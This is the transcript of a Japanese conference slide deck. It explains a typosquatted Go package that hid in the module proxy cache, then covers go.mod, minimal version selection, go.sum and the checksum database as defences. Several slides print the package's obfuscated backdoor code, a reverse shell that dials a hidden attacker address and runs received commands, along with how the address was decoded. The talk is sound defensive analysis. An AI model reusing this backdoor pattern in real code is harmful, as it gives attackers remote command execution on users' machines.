Upgrade to Pro — share decks privately, control downloads, hide ads and more …

サプライチェーン攻撃に学ぶModuleの仕組みと セキュリティ対策

Avatar for kuro kuro
September 26, 2025

サプライチェーン攻撃に学ぶModuleの仕組みと セキュリティ対策

GoConference2025で使ったスライドです。

Avatar for kuro

kuro

September 26, 2025
Tweet

More Decks by kuro

Other Decks in Technology

Transcript

  1. 発覚した事件 • 2025年2月、Socket Securityが報告 • 3年以上潜伏していた悪意のあるパッ ケージ ◦ github.com/boltdb-go/bolt (×)

    ◦ github.com/boltdb/bolt (◦) • タイポスクワッティングを悪用していた。 https://socket.dev/blog/malicious-package-ex ploits-go-module-proxy-caching-for-persistence 5
  2. Module Proxyとは - GOPROXYプロトコルを実装するHTTPサーバー。 - 環境変数 GOPROXY で設定できる。デフォルト値は `https://proxy.golang.org,direct`で、Goチームは、 proxy.golang.orgで提供されるモジュールミラーを管理して

    いる。 - goコマンドは、バージョン情報(メタデータ)、go.modファイ ル、およびモジュールzipファイル(実際のコード)をModule Proxyからダウンロードする。 7
  3. Module Proxyのメリット - 高速化と効率化 - プロキシを使用すると、goコマンドは必要な特定のモジュールのメタデータや ソースコードのみを要求するため、より速くなる。 - 依存関係の消失から保護 -

    メタデータとソースコードを独自のストレージシステムにキャッシュしてくれてる ので、オリジナルの場所からなくなっても使用し続けられる。 8
  4. 1. Module Proxyの不変性 > A module proxy must always serve

    the same content for successful responses for $base/$module/$version.mod and $base/$module/$version.zip queries. – Go Modules Reference(https://go.dev/ref/mod) → 特定のバージョンに対するgo.modファイル ($base/$module/@v/$version.mod) とモジュールzipファイル ($base/$module/@v/$version.zip) の成功した応答に対しては、常に同じコン テンツを提供する。 9
  5. Proxyのキャッシュメカニズム 開発者: go get github.com/hoge/[email protected] ↓ proxy.golang.org ├─ キャッシュ済み? │

    ├─ Yes → 即座に返す(GitHubを見ない) │ └─ No → GitHubから取得 │ ↓ │ キャッシュ │ ↓ │ 開発者に返す └─ 以降、キャッシュを配布し続ける 一度キャッシュされたら、オリジナルの変更は反映されない 10
  6. 2. GitHubのタグ書き換えのタイミング 成功する攻撃😈 1. 悪意のあるコードをGitHubに公開 2. 誰かがgo getでダウンロード 3. Module

    Proxyが悪意のある版をキャッシュ 4. 攻撃者がGitHubのタグを「クリーンなコード」に書き換え 結果: - GitHub上 → 無害なコードに見える - Module Proxy → 悪意のある版を配布し続ける 11
  7. 2. GitHubのタグ書き換えのタイミング 失敗する攻撃👿 1. クリーンなコードをGitHubに公開 2. 誰かがgo getでダウンロード 3. Module

    Proxyがクリーンな版をキャッシュ 4. 攻撃者がGitHubを悪意のあるコードに書き換え 結果: - GitHub上 → 悪意のあるコードが見える - Module Proxy → クリーンな版を配布し続ける 12
  8. 3. 難読化されたバックドアコード 攻撃者が仕込んだコード(簡略版) func ApiInit() {  go func() { defer

    func() { // 関数がパニックした場合、30秒後に再開 if r := recover(); r != nil { time.Sleep(30 * time.Second) ApiInit() } }() for { d := net.Dialer{Timeout: 10 * time.Second} // _r()を使用して隠されたIPアドレスとポートを構築 conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort))) if err != nil { // 接続が失敗した場合、即座の検出を避けるため30秒後に再試行 time.Sleep(30 * time.Second) continue } 14
  9.     // リモートコマンド実行ループ // 受信コマンドを読み取り、実行 for { message, _ :=

    bufio.NewReader(conn).ReadString('\n') args, err := shellwords.Parse(strings.TrimSuffix(message, "\n")) if err != nil { fmt.Fprintf(conn, "Parse err: %s\n", err) continue } // 任意のシェルコマンドの実行 var out []byte if len(args) == 1 { out, err = exec.Command(args[0]).Output() } else { out, err = exec.Command(args[0], args[1:]...).Output() } // コマンド出力またはエラーを脅威アクターに送り返す if err != nil { fmt.Fprintf(conn, "%s\n", err) } fmt.Fprintf(conn, "%s\n", out) } } } 15
  10. 巧妙な難読化 const ( MaxBatchSize = 16384 MaxMemSize = 64966512577 MaxIndex

    = 6179852731 MaxPort = 2060272 ) func _r(s string) string { ret := strings.ReplaceAll(s, "5", ".") ret = strings.ReplaceAll(ret, "6", "") ret = strings.ReplaceAll(ret, "7", "") return ret } 16
  11. 巧妙な難読化 conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":"

    + strconv.Itoa(MaxPort))) strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort)) → "649665125776179852731:2060272" _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort)) → 5を . に置き換え、6と7を削除する →"49.12.198[.]231:20022" →このIPアドレスのサーバーに接続して、リモートでコマンドを実行する 17
  12.  Module Proxyについて(おさらい) > A module proxy must always serve the

    same content for successful responses for $base/$module/$version.mod and $base/$module/$version.zip queries. – Go Modules Reference(https://go.dev/ref/mod) →特定のバージョンに対するgo.modファイル ($base/$module/@v/$version.mod) とモジュールzipファイル ($base/$module/@v/$version.zip) の成功した応答に対しては、常に同じコ ンテンツを提供する。 →一度キャッシュされたら、同じものが返ってくる(配布の不変性) 19
  13. go.modとMVSを理解する module github.com/myproject go 1.23 require ( github.com/gin-gonic/gin v1.9.0 github.com/boltdb/bolt

    v1.3.1 // バージョンを指定 ) • モジュール名、Goバージョン、依存関係を定義 • 最小バージョン選択 - MVS(Minimal Version Selection) で依存を解決 go.modの例 20
  14. MVS(最小バージョン選択)とは myapp ├── パッケージA v1.2以上が必要 └── パッケージB v1.1以上が必要 パッケージA v1.2

    └── パッケージC v1.3以上が必要 パッケージB v1.1 └── パッケージC v1.5以上が必要 利用可能なバージョン: パッケージA: v1.2, v1.3, v1.4 パッケージB: v1.1, v1.2 パッケージC: v1.3, v1.4, v1.5, v1.6(最新) Go の MVS:パッケージC v1.5を選択 npmとか: パッケージC v1.6(最新)を選択 22
  15. go.sumについて go.sumの例(2行と決まってはない) • go.sumファイルの各行は、モジュールのモジュールパス、バージョン、ハッシュ (チェックサム)で構成されている。→依存関係の整合性検証のため 1行目: モジュール全体のハッシュ • 実際にビルド・テストする時に検証 2行目:

    go.modファイルだけのハッシュ • 依存関係の解決時(MVS実行時)に使用する github.com/gin-gonic/gin v1.6.3 h1:ahKqKTFpO5KTPHxWZjEdPScmYaGtLo8Y4DMHoEsnp14= github.com/gin-gonic/gin v1.6.3/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M= 24
  16. go.sumについて 1. ハッシュの検証 a. goコマンドがモジュールキャッシュにモジュールをダウンロードするとき、ダウンロードされ たファイル(.modファイルと.zipファイル)からハッシュを計算し、それをメインモジュール のgo.sumに記録されているハッシュと比較する。 b. 一致しない場合、セキュリティエラーを報告し、そのダウンロードされたファイルをモジュー ルキャッシュに追加しない。

    2. チェックサムデータベースとの連携 a. チェックサムデータベース(デフォルトでは sum.golang.org)は、すべてのモジュールバー ジョンについて、go.sumのグローバルなソースとして機能する。 b. go.sumにハッシュがまだ存在しない場合、 goコマンドはデフォルトでこのグローバルデー タベースに問い合わせてハッシュを検証する。 c. (基盤には、Merkle Treeと呼ばれる改ざん防止の特性を持つ構造がある。) 25
  17. 各レイヤーでのセキュリティ ⓪:パッケージ名の正しさ 🥺保護なし(開発者の注意に依存) ↓ ← 今回のタイポスクワット攻撃はここ!! ①: バージョン選択 🫰go.mod +

    MVS ↓ ②: 配布の不変性保証 🫰Module Proxy ↓ ③: グローバル検証 🫰チェックサムDB ↓ ④: ローカル検証 🫰 go.sum 30
  18. lintで検知する • gci等のツールでimportを整理 して見やすくする。→レビューの 際に確認しやすいように。 • (タイポ自体を検知するようない い感じのリンターはない。。。) import (

    "fmt" go "github.com/golang" "github.com/daixiang0/gci" _ "github.com/daixiang0/gci/blank" _ "github.com/golang/blank" . "github.com/daixiang0/gci/dot" . "github.com/golang/dot" ) 34
  19. 参考資料 • Go Modules Reference • Module Mirror and Checksum

    Database • go.mod file reference - The Go Programming Language • Go Supply Chain Attack: Malicious Package Exploits Go Module Proxy Caching for Persistence • research!rsc: Transparent Logs for Skeptical Clients • GitHub - daixiang0/gci: GCI, a tool that control golang package import order and make it always deterministic. • Go 公式の脆弱性管理システム 40